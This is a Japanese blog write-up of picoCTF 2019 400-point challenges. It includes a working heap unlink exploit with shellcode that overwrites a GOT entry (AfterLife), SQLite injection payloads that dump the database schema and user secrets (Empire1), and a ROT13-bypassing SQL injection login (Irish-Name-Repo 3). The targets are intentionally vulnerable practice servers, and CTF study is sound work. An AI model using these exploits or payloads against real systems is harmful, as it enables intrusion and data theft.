好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

picoCTF2019 400pt問題のwrite-up

中高生向けのCTF、picoCTF 2019 の write-up です。他の得点帯の write-up へのリンクはこちらを参照。

kusuwada.hatenablog.com

[Crypto] AES-ABC (400pt)

AES-ECB is bad, so I rolled my own cipher block chaining mechanism - Addition Block Chaining! You can find the source here: aes-abc.py. The AES-ABC flag is body.enc.ppm

ソースコード aes-abc.py と 画像ファイルbody.enc.ppm が配布されます。

AES-ECBモードででは、暗号化時にデータのパターンを隠蔽することが出来ないので、画像を暗号化した例だとなんとなく雰囲気残ってしまいます。この例はwikipediaにも紹介されていました。(2019年10月時点)

暗号利用モード - Wikipedia

配布されたbody.enc.ppmも似たような感じだったので目を凝らしてみましたが、読めませんでした( ͡° ͜ʖ ͡°) 真ん中に帯のように文字列が書かれていそうな雰囲気あるんだけども…。

配布された画像とソースコードはこちら。

f:id:kusuwada:20191210143334j:plain

#!/usr/bin/env python

from Crypto.Cipher import AES
from key import KEY
import os
import math

BLOCK_SIZE = 16
UMAX = int(math.pow(256, BLOCK_SIZE))


def to_bytes(n):
    s = hex(n)
    s_n = s[2:]
    if 'L' in s_n:
        s_n = s_n.replace('L', '')
    if len(s_n) % 2 != 0:
        s_n = '0' + s_n
    decoded = s_n.decode('hex')

    pad = (len(decoded) % BLOCK_SIZE)
    if pad != 0: 
        decoded = "\0" * (BLOCK_SIZE - pad) + decoded
    return decoded


def remove_line(s):
    # returns the header line, and the rest of the file
    return s[:s.index('\n') + 1], s[s.index('\n')+1:]


def parse_header_ppm(f):
    data = f.read()

    header = ""

    for i in range(3):
        header_i, data = remove_line(data)
        header += header_i

    return header, data
        

def pad(pt):
    padding = BLOCK_SIZE - len(pt) % BLOCK_SIZE
    return pt + (chr(padding) * padding)


def aes_abc_encrypt(pt):
    cipher = AES.new(KEY, AES.MODE_ECB)
    ct = cipher.encrypt(pad(pt))

    blocks = [ct[i * BLOCK_SIZE:(i+1) * BLOCK_SIZE] for i in range(len(ct) / BLOCK_SIZE)]
    iv = os.urandom(16)
    blocks.insert(0, iv)
    
    for i in range(len(blocks) - 1):
        prev_blk = int(blocks[i].encode('hex'), 16)
        curr_blk = int(blocks[i+1].encode('hex'), 16)

        n_curr_blk = (prev_blk + curr_blk) % UMAX
        blocks[i+1] = to_bytes(n_curr_blk)

    ct_abc = "".join(blocks)
 
    return iv, ct_abc, ct


if __name__=="__main__":
    with open('flag.ppm', 'rb') as f:
        header, data = parse_header_ppm(f)
    
    iv, c_img, ct = aes_abc_encrypt(data)

    with open('body.enc.ppm', 'wb') as fw:
        fw.write(header)
        fw.write(c_img)

暗号化の部分aes_abc_encrypt(pt)を見てみると、AES暗号化(ECBモード)したあとに、独自の暗号化処理(これがABC暗号化なの?)を施してあります。
追加の暗号化は、初期値ivが配布されたデータに埋め込まれているので、逆算してAES暗号化しただけの状態に戻すことができそう。ここで競技期間が終了してしまいましたが、そんなに難しい変換じゃないのでやっておけばよかったっっ!

#!/usr/bin/env python3

from Crypto.Cipher import AES
import os
import math

BLOCK_SIZE = 16
UMAX = int(math.pow(256, BLOCK_SIZE))


def remove_line(s):
    # returns the header line, and the rest of the file
    return s[:s.index(b'\n') + 1], s[s.index(b'\n')+1:]


def parse_header_ppm(f):
    data = f.read()

    header = b""

    for i in range(3):
        header_i, data = remove_line(data)
        header += header_i

    return header, data


def abc_decrypt(ct):
    
    blocks = [ct[i * BLOCK_SIZE:(i+1) * BLOCK_SIZE] for i in range(len(ct) // BLOCK_SIZE)]
    iv = blocks[0]
    print(iv)
    decrypted_blks = []
    
    for i in range(len(blocks) - 1):
        prev_blk = int.from_bytes(blocks[i], 'big')
        curr_blk = int.from_bytes(blocks[i+1], 'big')
        
        n_curr_blk = (curr_blk - prev_blk) % UMAX
        decrypted_blks.append( n_curr_blk.to_bytes(16, 'big'))

    data = b"".join(decrypted_blks)
    
    return data

if __name__=="__main__":

    with open('body.enc.ppm', 'rb') as f:
        header, c_img = parse_header_ppm(f)
    
    data = abc_decrypt(c_img)

    with open('flag.ppm', 'wb') as fw:
        fw.write(header)
        fw.write(data)

python3で動くようにちょっと書き直しつつ、逆変換してみました。出てきた画像がこちら。

f:id:kusuwada:20191210143357j:plain

そんなに目を凝らさなくても、読める画像が出てきました!EBCモード、本当に画像なら読めてしまいますねー!!!

[Binary] AfterLife (400pt)

Just pwn this program and get a flag. It's also found in /problems/afterlife_1_1a985526d55f084c5fbe4688631e7d51 on the shell server. Source.

Hints

If you understood the double free, a use after free should not be hard! http://homes.sice.indiana.edu/yh33/Teaching/I433-2016/lec13-HeapAttacks.pdf

実行ファイル vulnソースコード vuln.c が配布されます。

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#define FLAG_BUFFER 200
#define LINE_BUFFER_SIZE 20

void win() {
  char buf[FLAG_BUFFER];
  FILE *f = fopen("flag.txt","r");
  fgets(buf,FLAG_BUFFER,f);
  fprintf(stdout,"%s\n",buf);
  fflush(stdout);
}

int main(int argc, char *argv[])
{
   //This is rather an artificial pieace of code taken from Secure Coding in c by Robert C. Seacord 
   char *first, *second, *third, *fourth;
   char *fifth, *sixth, *seventh;
   first=malloc(256);
   printf("Oops! a new developer copy pasted and printed an address as a decimal...\n");
   printf("%d\n",first);
   strncpy(first,argv[1],LINE_BUFFER_SIZE);
   second=malloc(256);
   third=malloc(256);
   fourth=malloc(256);
   free(first);
   free(third);
   fifth=malloc(128);
   puts("you will write on first after it was freed... an overflow will not be very useful...");
   gets(first);
   seventh=malloc(256);
   exit(0);
}

先にヒントを見てしまいましたが、UAF(use after free) が関係するみたい。

まずはコードを見てみます。win()関数を呼べればflagを表示してくれそう。

  1. 1stmallocし、その後そのアドレスを表示
  2. 実行時の引数を先程確保した 1st に20文字コピー
  3. 2nd, 3rd, 4thmalloc
  4. 1st, 3rd を free
  5. 5thmalloc(128)
  6. 1stのアドレス(解放後)を指定し、ユーザー入力を入れる
  7. 7thmalloc
  8. exit(0)

...あれ、6thどこ行った?

6.で、解放後の領域にユーザー入力を入れているところが怪しい。
この時点までの free list は

[free list] after free 1st, 3rd
  (head) -> 3rd -> 1st -> (tail)
[free list] after malloc 5th
  (head) -> 1st -> (tail)

となっており、7thmalloc すると 1st だった領域が使われます。1st領域が free list にいる時に書き込みを行うと、下記の [Allocated chunk] の User data に書き込みを行ったつもりで、[Freed chunk] の forward pointer や back pointer 領域への書き込みをします。

 Allocated chunk          Freed chunk
 +---------------------+  +---------------------+
 | Size of chunk       |  | Size of chunk       |
 +---------------------+  +---------------------+
 | User data           |  | Forward Pointer     |
 +                     +  +---------------------+
 |                     |  | Back Pointer        |
 +                     +  +---------------------+
 |                     |  |                     |
 +---------------------+  +---------------------+
 | Size of chunk       |  | Size of chunk       |
 +---------------------+  +---------------------+

ここからwin()を呼ぶように組み立てたかったのだけど、自力では無理だった…。

どうやら Unlink Attack というのを使うらしい。下記サイトの説明そのまんま使えそう。katagaitai勉強会の資料だそうだ。流石!
CTFひとり勉強会 Secret Holder (HITCON 2016 Quals) 前編 - ヾノ*>ㅅ<)ノシ帳
図やmallocソースコードを見ながらでないと理解が厳しいので、是非上記リンク先を参考にして下さい…!(残念ながら、途中で紹介されているkatagaitai勉強会の元資料は、もう削除されているみたいです)

更に、ここで紹介されているのは、スライド資料までは一般的な Unlink Attack の説明として今回もバッチリ当てはまるのですが、途中から アーキテクチャglibcのバージョンが違うので注意が必要です。

さて、先程のfreed link の表現に向きを考慮して

[free list] after malloc 5th
  (head) -> 1st -> (tail)
↓↓↓↓↓
[free list] after malloc 5th
  FD (head) -> 1st -> (tail)
  BK (tail) -> 1st -> (head)

と書くようにしてみます。
上記 free list にある1st領域への書き込み時に、*fdfd_addr,*bkbk_addrを書き込み、再度alloc(7th)して free list から 1st 領域を Unlink すると、free list は下記のようになります。

[free list] after overwrite 1st
  FD (head) -> 1st -> (tail)
  BK (tail) -> 1st -> (head)
[free list] when alloc 7th: 1st chunk is unlinked
  FD (head) -> fd_addr -> (tail)
  BK (tail) -> bk_addr -> (head)

ここで、Hintに示されているpdfの p22 あたりの unlink macro の紹介を見てみます。glibc 2.3.4 以降、これに下記のようなチェックが追加され、対策がなされているようですが、それ以前の libc version だとこのチェックは入っていないようです。

#define unlink(P, BK, FD) {
    FD = P->fd;
    BK = P->bk;
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \  // この処理
        malloc_printerr (check_action, "corrupted double-linked list", P, AV);
    FD->bk = BK;
    BK->fd = FD;
} 

リンクされているglibcのversionを確認してみます。

$ strings -a vuln | grep lib
/lib/ld-linux.so.2
libc.so.6
__libc_start_main
__libc_csu_fini
__libc_start_main@@GLIBC_2.0
__libc_csu_init

どうやら 2.0 のようです。やった!
ということで、unlink時は下記のコードが実行されます。

#define unlink(P, BK, FD) {
    FD = P->fd;
    BK = P->bk;
    FD->bk = BK;
    BK->fd = FD;
} 

上記で書いた通り、1stの領域は一度freeされた後にユーザー入力を書き込むことができます。この時、

 Allocated chunk          Freed chunk (just information)
 +----------------------+  +---------------------+
 | Size of chunk        |  | Size of chunk       |
 +----------------------+  +---------------------+
 | * {some GOT addr}-12 |  | Forward Pointer     |
 +----------------------+  +---------------------+
 | * 1st addr + 8 ↓     |  | Back Pointer        |
 +----------------------+  +---------------------+
 | * jmp win (shellcode)|  |                     |
 +----------------------+  +---------------------+
 | Size of chunk        |  | Size of chunk       |
 +----------------------+  +---------------------+

このように*の部分を書き込むと、

P->fd = {some GOT addr}-12
P->bk = 1st addr + 8 (shellcode's addr)

となり、unlink時に下記の処理が走り、GOTアドレスが埋め込んだshellcodeのアドレスでoverwriteされます。

#define unlink(P, BK, FD) {
    FD = P->fd;   // FD = {some GOT addr}-12
    BK = P->bk;   // BK = 1st addr + 8 (shellcode's addr)
    FD->bk = BK;  // FD->bk = FD+12 (bkポインタはaddress+12のところに位置するため)
                  //        = {some GOT addr}-12+12
                  //        = {some GOT addr}
                  // より、 {some GOT addr} = 1st addr + 8 (shellcode's addr)
                  // ※↑ここが攻撃のポイント。GOTアドレスをshellcodeのアドレスでoverwriteした
    BK->fd = FD;  // BK->fd = BK+8  (bkポインタはaddress+8のところに位置するため)
                  //        = 1st addr + 8 + 8
                  //        = 1st addr + 16 (特に使わない)
} 

GOTアドレスにwin()関数のアドレスをoverwriteできればよいのですが、今回は禁止されており、代わりにヒープ領域の実行ができるために、ヒープ領域にshellcodeを置いて実行するという解法になるようです。
元のvuln.cでは、最後にexit(0)が呼ばれているので、今回はexitを使うことにします。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

# picoCTF の shell serverに接続
print('picoCTF shell server login')
print('name:')
pico_name = input('>>')
print('password')
pico_pass = input('>>')
pico_ssh = ssh(host = '2019shell1.picoctf.com', user=pico_name, password=pico_pass)
pico_ssh.set_working_directory('/problems/afterlife_1_1a985526d55f084c5fbe4688631e7d51')

e = ELF('./vuln')
context.binary = './vuln'

p = pico_ssh.process(['./vuln', 'a'])
p.recvuntil(b'Oops! a new developer copy pasted and printed an address as a decimal...\n')
first_addr = int(p.recvline())
print('fist_addr: ' + str(first_addr))
p.recvuntil(b'you will write on first after it was freed... an overflow will not be very useful...\n')

print('exit_addr: ' + str(e.got[b'exit']))
print('win_addr: ' + str(e.symbols[b'win']))

shellcode = asm('push {}; ret;'.format(hex(e.symbols[b'win'])))
print(b'shellcode: ' + shellcode)

payload = p32(e.got[b'exit']-12)
payload += p32(first_addr+8)
payload += shellcode
print(b'payload: ' + payload)

p.sendline(payload)
print(p.recv())

実行結果

$ python solve.py 
picoCTF shell server login
[+] Connecting to 2019shell1.picoctf.com on port 22: Done
[*] Working directory: '/problems/afterlife_1_1a985526d55f084c5fbe4688631e7d51'
[*] '/root/ctf/picoCTF2019/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE
[+] Opening new channel: execve(b'./vuln', [b'./vuln', b'a'], os.environ): Done
fist_addr: 135294984
exit_addr: 134533164
win_addr: 134515046
b'shellcode: hf\x89\x04\x08\xc3'
b'payload:  \xd0\x04\x08\x10p\x10\x08hf\x89\x04\x08\xc3'
b'picoCTF{what5_Aft3r_7b3f566a}\n'

shellcodeは

push win_addr;
ret;

を使用してwin()関数に飛ばしましたが、shellを取るコードを書いてもよさそう。

jmp win_addr;

をしたかったのだけど、pwntool先生に怒られてしまった。調べてみると同じことをしようとした人が。
pwntools failed to asm a jmp shellcode · Issue #1287 · Gallopsled/pwntools · GitHub

The reason is, that jumps with immediate values on x86 are always relative to the instruction pointer, so if you want to jump outside of the shellcode, you should use push 0x100000; ret

参考リンク

[Web] Empire1 (400pt)

Psst, Agent 513, now that you're an employee of Evil Empire Co., try to get their secrets off the company website. https://2019shell1.picoctf.com/problem/32160/ (link) Can you first find the secret code they assigned to you? or http://2019shell1.picoctf.com:32160

Hints

Pay attention to the feedback you get There is very limited filtering in place - this to stop you from breaking the challenge for yourself, not for you to bypass. The database gets reverted every 2 hours if you do break it, just come back later

"psst"って目立たないように人の注意を引く時の発声なんですって。
前は007風の問題がありましたが、今回も私はエージェント513になって悪の組織に乗り込んでいるようです。自分にアサインされたコードを探せばよいそうです。物語仕立て。

指定されたリンクに飛ぶと、こんなページが。

f:id:kusuwada:20191210134132p:plain

Register機能とLogin機能があるみたいです。
まずは登録してみます。

f:id:kusuwada:20191210134148p:plain

Signinページに飛ばされました。

f:id:kusuwada:20191210134222p:plain

Signinしてみます。

f:id:kusuwada:20191210134238p:plain

わー。なんか機能が増えました。todo管理や雇用者リストが見れるみたいです。ログイン時にremember meにチェックを付けていると、下記のcookieが追加されます。今回は使わなかったですが。

remember_token: 43|7b70faf6b8d92032d7da54933405616de1c6a115a7f230624956bf25967f5e5e5339d1d512d3e2c2f84c56bcc643e178169e33462aa67767d72e4973fadca02f

顧客者リストに自分が載っていれば、自分のコードが分かりそうなので見てみます。

f:id:kusuwada:20191210134403p:plain

いました。43番です。これはsecretじゃないのでフラグじゃないのかな?あ、そう言えばさっき見たremember_tokenの先頭が43になってたなぁ…。
ちなみに顧客リスト、他のメンバーの入れたUsername,Nameがそのまま見えてるようで、皆何を考えてたかよく分かる…。

Todoリストを試してみます。簡単なXSS、Template Injectionを試してみましたが効きませんでした。次にまたSQL Injectionを試してみたところ、サーバーエラーが返ってきましたが何かしら手応えが。

Todo?に'のみを入れてみたところ

f:id:kusuwada:20191210134432p:plain

f:id:kusuwada:20191210134442p:plain

サーバーエラー発生。
ただ、2つ入れると('')通る。生成されるのは(')、シングルクォート一つのみ。
更に、下記いろいろ試してみました。

' -> error
'' -> '
''' -> error
'''' -> ''
'a' -> error
'a  -> error
'1' -> error
 '=' -> 0
'='  -> 1
'*' -> '

なにやら'='を入れると、0や1が返ってきます。アルファベットや数字を入れるとエラーになっていたのが、記号を入れると通るようです。試しに、下記のようなスクリプトを書いてどんな記号が通るのか試してみました。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import requests
from bs4 import BeautifulSoup
import string

login_url = "http://2019shell1.picoctf.com:32160/login"
add_url = "http://2019shell1.picoctf.com:32160/add_item"

username = 'alice'
password = 'test'

def get_csrf_token(text):
    soup = BeautifulSoup(text, 'html.parser')
    return soup.find(attrs={'name': 'csrf_token'}).get('value')

### get login csrf_token
res = requests.get(login_url)
session_cookie = res.cookies['session']
csrf_token = get_csrf_token(res.text)
cookies = {'session': session_cookie}

### login
data = {'username': username, 'password': password, 'remember_me': 'y', 'csrf_token': csrf_token}
res = requests.post(login_url, data=data, cookies=cookies)

if "Things You Gotta Do" in res.text:
    print('Login Success')
else:
    raise('Login Failed')

history = res.history
session_cookie = history[0].cookies['session']
remember_cookie = history[0].cookies['remember_token']

### get add item csrf token
cookies = {'session':session_cookie, 'remember_token':remember_cookie}
res = requests.get(add_url, cookies=cookies)
csrf_token = get_csrf_token(res.text)

### test each chars
candidates = """0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~"""

data = {'item':"'='", 'csrf_token': csrf_token}

print(candidates)
print('------------')
ok_list = []
for c in candidates:
    print(c)
    attack = "'" + c + "'"
    data = {'item':attack, 'csrf_token': csrf_token}
    res = requests.post(add_url, data=data, cookies=cookies)
    if res.status_code == 500:
        continue
    elif res.status_code == 200:
        ok_list.append(c)
    else:
        raise(res.status_code)
print(ok_list)

実行結果

$ python test.py 
Login Success
-------- Login done --------
0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
------------
(略)
['%', '&', '*', '+', '-', '/', '<', '=', '>', '|']

これらが通った文字たちです。
そういえばヒントに

There is very limited filtering in place - this to stop you from breaking the challenge for yourself, not for you to bypass.

とありました!これがもしかして very limited filter なんでしょうか?

https://dev.mysql.com/doc/refman/5.6/ja/non-typed-operators.html

このあたりを参照すると、生き残った文字列たちで 論理演算子 OR (||), AND (&&) や、文字列連結 (+), コメントアウト (--), (/**/)が使えそうです。また、比較演算子 =, <=>, >, >=, <, <=, <> も使えそうです。

試しに、下記のようなリクエストを送ってみました。

'|| 1=1 --||' -> 1
'|| 1=0 --||' -> 0
'||1=1||' -> 1

他にも色々試してみましたが、1,0 の応答の時は何かしらクエリが走って True/False を返しているっぽい。SELECTやORのような演算子やアルファベットは使えません。
末尾の -- はあってもなくても良さそう。

ここで問題文を振り返ってみると

Can you first find the secret code they assigned to you?

ということで、自分にアサインされた secret code を見つけ出すようです。この制約の中で、文字列を見つけるクエリを組み立てます...。

ここで競技中はタイムアップ。上のスクリプトを書くのに時間を使ってしまった...。csrf対応とか、redirectされた時の最初に返されたcookieを取得するなど、あまり普段やらない処理をかけたので、それはそれで収穫だったかも。

このサイトのデータベースは SQLite だったようで、下記のSQLite用のチートシートが刺さりました。

GitHub - unicornsasfuel/sqlite_sqli_cheat_sheet: A cheat sheet for attacking SQLite via SQLi

上で色々試して有効だった || は、SQLite だと連結の記号なんですね。上記のサイトのチートシート(というか基本的な使い方レベル)を見ただけで解ける問題だったようです。

まずは テーブル名列挙のクエリを突っ込んでみます。

'|| (SELECT name FROM sqlite_master) ||'

Very Urgent: user

でました。上のをしなくても、以下のスキーマ一覧のクエリで

'|| (SELECT sql FROM sqlite_master) ||'

Very Urgent: CREATE TABLE user ( id INTEGER NOT NULL, username VARCHAR(64), name VARCHAR(128), password_hash VARCHAR(128), secret VARCHAR(128), admin INTEGER, PRIMARY KEY (id) )

スキーマ一覧が出てきました。secret code はきっと secret に入っているので、これを抽出するクエリを考えます。自分のIDがわかっているので、自分のIDを指定して

'|| (SELECT secret FROM user WHERE id == 43 LIMIT 0,1) ||'

Very Urgent: picoCTF{wh00t_it_a_sql_injectb819aa6f}

自分のIDがわからない場合もgroup_concat()を使用すると、全員分のが抽出できます。
group_concat() については、下記に使い方が。便利なクエリだ!複数行出力できない場合なんかにも有効そう。

MySQLのGROUP_CONCATがアツい - Qiita

'|| (select group_concat(secret) from user) ||'

Very Urgent: Likes Oreos.,Know it all.,picoCTF{wh00t_it_a_sql_injectb819aa6f}

いくつかwriteupを見てみても「'|| (sql) ||' の構文が有効なことに気づいた」的なwriteupが多く、割とよくある手法なのかなーという印象。解けているチームも多いし、SQL injection としてはかなり簡単な問題だった様ƒ子。SQLiteのを今まで意識してやったことなかったので全然わからなかった。

[Forensics] Investigative Reversing 3 (400pt)

We have recovered a binary and an image See what you can make of it. There should be a flag somewhere. Its also found in /problems/investigative-reversing-3_2_9b697a21646b826192c40efeb643ff61 on the shell server.

Hints

You will want to reverse how the LSB encoding works on this problem

このシリーズの前回のwriteupはこちら

実行ファイルmysteryと、bmpファイルencoded.bmpが配布されます。
今回もソースコードがないので、ghidraでmysteryをdecompileしてもらいます。

f:id:kusuwada:20191210135415p:plain

変数名を見やすくしたdecompiledコードがこちら。

undefined8 main(void)

{
  size_t num_data;
  long in_FS_OFFSET;
  char buf_original;
  char encoded_c;
  int i, j, n;
  FILE *file_flag;
  FILE *file_original;
  FILE *file_encoded;
  char buf_flag [56];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  file_flag = fopen("flag.txt","r");
  file_original = fopen("original.bmp","r");
  file_encoded = fopen("encoded.bmp","a");
  if (file_flag == (FILE *)0x0) {
    puts("No flag found, please make sure this is run on the server");
  }
  if (file_original == (FILE *)0x0) {
    puts("No output found, please run this on the server");
  }
  num_data = fread(&buf_original,1,1,file_original);
  n = (int)num_data;
  i = 0;
  while (i < 723) {
    fputc((int)buf_original,file_encoded);
    num_data = fread(&buf_original,1,1,file_original);
    n = (int)num_data;
    i = i + 1;
  }
  num_data = fread(buf_flag,50,1,file_flag);
  n = (int)num_data;
  if (n < 1) {
    puts("Invalid Flag");
    exit(0);
  }
  i = 0;
  while ((int)i < 100) {
    if ((i & 1) == 0) {
      j = 0;
      while ((int)j < 8) {
        encoded_c = codedChar((ulong)j,
                             (ulong)(uint)(int)buf_flag[(long)((int)(i + (i >> 31))>> 1)],
                             // (long)((int)(i + (i >> 31))>> 1) -> 0,0,1,1,2,2,3,3,4,4,5,5...
                             (ulong)(uint)(int)buf_original);
        fputc((int)encoded_c,file_encoded);
        fread(&buf_original,1,1,file_original);
        j = j + 1;
      }
    }
    else {
      fputc((int)buf_original,file_encoded);
      fread(&buf_original,1,1,file_original);
    }
    i = i + 1;
  }
  while (n == 1) {
    fputc((int)buf_original,file_encoded);
    num_data = fread(&buf_original,1,1,file_original);
    n = (int)num_data;
  }
  fclose(file_encoded);
  fclose(file_original);
  fclose(file_flag);
  if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
    return 0;
  }
  __stack_chk_fail();
}

ulong codedChar(int index, byte b_flag, byte b_ord)
{
  byte shifted;
  
  shifted = b_flag;
  if (index != 0) {
    shifted = (byte)((int)(char)b_flag >> ((byte)index & 0x1f));
  }
  return (ulong)(b_ord & 0xfe | shifted & 1);
}

上から読んでいくと

  1. 723 byte、original から encoded にコピー
  2. flagは 50 bytes
  3. iが偶数のとき、前回と同じcodedChar()を呼び出した結果を encoded に入力
  4. iが奇数のとき、original から encoded にコピー
  5. 上記を i==100になるまで実施したら、残りのoriginalをencodedにコピー

3.のcodedChar()を呼び出す際の引数が若干異なりますが、コードを見た限り、前回はord(flag[i])+5をわたしていたのが、今回は単純にord(flag[i//2])に変わっているようです。codedChar()関数自体は前回と一緒なので、同じソルバ関数を使いまわしました。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

def decodeChar(data):
    return bin(data)[-1]

with open('encoded.bmp', 'rb') as f:
    data = f.read()[723:1173] # 723 + (50 + 50*8) = 1173

data_e = b''
for i in range(50):
    data_e += data[i*9:i*9+8]
    # print(i, data[i*9:i*9+8])

flag = ''
for i in range(50):
    fragment = ''
    for j in range(8):
        fragment += decodeChar(data_e[i*8+7-j])
    flag += chr(int(fragment, 2))

print(flag)

実行結果

$ python solve.py 
picoCTF{4n0th3r_L5b_pr0bl3m_000000000000018a270ae}

[Forensics] Investigative Reversing 4 (400pt)

We have recovered a binary and 5 images: image01, image02, image03, image04, image05. See what you can make of it. There should be a flag somewhere. Its also found in /problems/investigative-reversing-4_5_908aeadf9411ff79b32829c8651b185a on the shell server.

上の Investigative Reversing 3 を解いたらゾンビのように湧いてきた。

今度は実行ファイルmysteryと、Item01~05.bmpが配られます。画像を5枚使う問題のようです。
同様に、mysteryをghidraでdecompileしてもらいます。

f:id:kusuwada:20191210135503p:plain

読みやすく整形したコードはこちら

undefined8 main(void) {
  undefined flag [52];
  FILE *file_flag;

  flag_index = 0;
  file_flag = fopen("flag.txt","r");
  if (file_flag == (FILE *)0x0) {
    puts("No flag found, please make sure this is run on the server");
  }
  num_file = fread(flag,0x32,1,file_flag);
  if (num_file < 1) {
    puts("Invalid Flag");
    exit(0);
  }
  fclose(file_flag);
  encodeAll();
  return 0;
}

void encodeAll(void) {
  ulong filename_01;
  ulong filename_cp_01;
  char c;
  
  filename_cp = 'Item01_cp.bmp'
  filename = 'Item01.bmp'
  c = '5';  // '5' = 0x35
  while ('0' < c) {  // '0' = 0x30
    // filename_cp = 'Item0' + c + '_cp.bmp'
    // filename = 'Item0' + c + '.bmp'
    encodeDataInFile(&filename,&filename_cp);
    c = c + -1;
  }
  return;
}

void encodeDataInFile(char *filename_ord,char *filename_cp) {
  size_t num_data;
  char data_item_ord;
  char encoded_c;
  FILE *file_item_cp;
  FILE *file_item_ord;
  uint j;
  int i;
  
  file_item_ord = fopen(filename_ord,"r");
  file_item_cp = fopen(filename_cp,"a");
  if (file_item_ord != (FILE *)0x0) {
    num_data = fread(&data_item_ord,1,1,file_item_ord);
    i = 0;
    while (i < 0x7e3) {  // 0x7e3 = 2019
      fputc((int)data_item_ord,file_item_cp);
      num_data = fread(&data_item_ord,1,1,file_item_ord);
      i = i + 1;
    }
    i = 0;
    while (i < 0x32) {  // 0x32 = 50
      if (i % 5 == 0) {
        j = 0;
        while ((int)j < 8) {
          encoded_c = codedChar((ulong)j,
                                (ulong)(uint)(int)*(char *)((long)*flag_index + flag),
                                (ulong)(uint)(int)data_item_ord);
          fputc((int)encoded_c,file_item_cp);
          fread(&data_item_ord,1,1,file_item_ord);
          j = j + 1;
        }
        *flag_index = *flag_index + 1;
      }
      else {
        fputc((int)data_item_ord,file_item_cp);
        fread(&data_item_ord,1,1,file_item_ord);
      }
      i = i + 1;
    }
    while ((int)num_data == 1) {
      fputc((int)data_item_ord,file_item_cp);
      num_data = fread(&data_item_ord,1,1,file_item_ord);
    }
    fclose(file_item_cp);
    fclose(file_item_ord);
    return;
  }
  puts("No output found, please run this on the server");
  exit(0);
}

ulong codedChar(int index, byte b_flag, byte b_ord) { // 2,3 と同じコード
  byte shifted;
  
  shifted = b_flag;
  if (index != 0) {
    shifted = (byte)((int)(char)b_flag >> ((byte)index & 0x1f));
  }
  return (ulong)(b_ord & 0xfe | shifted & 1);
}

これまでのシリーズに、flagが埋めてあるファイルが5個になったのみの変更の様子。

  1. Item0n.bmpn を 5 -> 1 に変化させながら1ファイルずつ処理
  2. 2019 byte 先からflagの埋め込み開始
  3. 5文字ごとにcodedChar()関数を通してflagを埋めていく

これくらいのことが読み取れたら、あとは逆変換のスクリプトを書きます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

def decodeChar(data):
    return bin(data)[-1]

flag = ''

for n_file in range(5):
    filename = 'Item0' + str(5-n_file) + '_cp.bmp'
    with open(filename, 'rb') as f:
        data = f.read()[2019:2139] # 2019 + (40 + 10*8) = 2139

    data_e = b''
    for i in range(10):
        data_e += data[i*12:i*12+8]  # (5-1) + 8 = 12
        # print(i, data[i*12:i*12+8])
    
    for i in range(10):
        fragment = ''
        for j in range(8):
            fragment += decodeChar(data_e[i*8+7-j])
        flag += chr(int(fragment, 2))

print(flag)

実行結果

$ python solve.py 
picoCTF{N1c3_R3ver51ng_5k1115_00000000000ade0499b}

フラグゲット٩(๑❛ᴗ❛๑)尸
このシリーズ、Ghidra様様でした!

[Web] Irish-Name-Repo 3 (400pt)

There is a secure website running at https://2019shell1.picoctf.com/problem/21874/ (link) or http://2019shell1.picoctf.com:21874. Try to see if you can login as admin!

Hints

Seems like the password is encrypted.

指定のリンクに飛ぶと、またもや Irish-Name-Repo 1,2 と同じサイト。
Admin Login のメニューに飛ぶと、今回はPasswordのみ入れるようになっています。

f:id:kusuwada:20191012025803p:plain

適当に入れてみて試しましたが、loginに失敗します。cookieには何も書かれていないようです。

SQL injectionのよく使われる手段である、条件式を無効にするクエリ ' or 1=1-- を突っ込んでみると response 500。色々試してみましたが、Login Faild、もしくは 500エラーが返ってくるのみです。

ここでhtmlのソースを見てみると、そう言えば気になるものが。

<input type="hidden" name="debug" value="0">

今までの問題にもあったみたいですが、これをvalue="1"にしてやると、debugモードになりそう!
こんなスクリプトを書いて試してみます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import requests

url = "https://2019shell1.picoctf.com/problem/21874/login.php"

data = {'password': "' or 1=1--",
        'debug': '1'}
res = requests.post(url, data=data)
print(res.text)

実行結果

$ python solve.py 
<pre>password: ' or 1=1--
SQL query: SELECT * FROM admin where password = '' be 1=1--'
</pre>

おお!どんなクエリが実行されたか表示してくれています!ありがたや!
or って入れたのに be になってますね・・・。o->b, r->eに変換されているので、単純に考えると13文字ずれている、すなわちROT暗号されてそうな気配がします。
ROT暗号は再度かけるともとに戻るので、すなわちbeを入れてあげるとorに変換されるはず。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import requests

url = "https://2019shell1.picoctf.com/problem/21874/login.php"

data = {'password': "' be 1=1--",
        'debug': '1'}
res = requests.post(url, data=data)
print(res.text)

実行結果

$ python solve.py 
<pre>password: ' be 1=1--
SQL query: SELECT * FROM admin where password = '' or 1=1--'
</pre><h1>Logged in!</h1><p>Your flag is: picoCTF{3v3n_m0r3_SQL_d78e3333}</p>

[Web] JaWT Scratchpad (400pt)

Check the admin scratchpad! https://2019shell1.picoctf.com/problem/12283/ or http://2019shell1.picoctf.com:12283

タイトルからして、JWT(Json Web Token)関連の問題のようです。
まずは指定されたサイトに飛んでみます。

f:id:kusuwada:20191012025839p:plain

自分の名前でログインしてね、adminはspecial scratchpadをgetできるから使わないでね!だそうです。
最後に John the Ripper へのリンクがありますが、これは使うのかな…?

とりあえずだめと言われたadminでログインを試してみました。

f:id:kusuwada:20191012025853p:plain

怒られました。
仕方ないので test でログインしてみました。

f:id:kusuwada:20191012025922p:plain

ただのノート機能です。cookieを見てみると、jwtがいます!

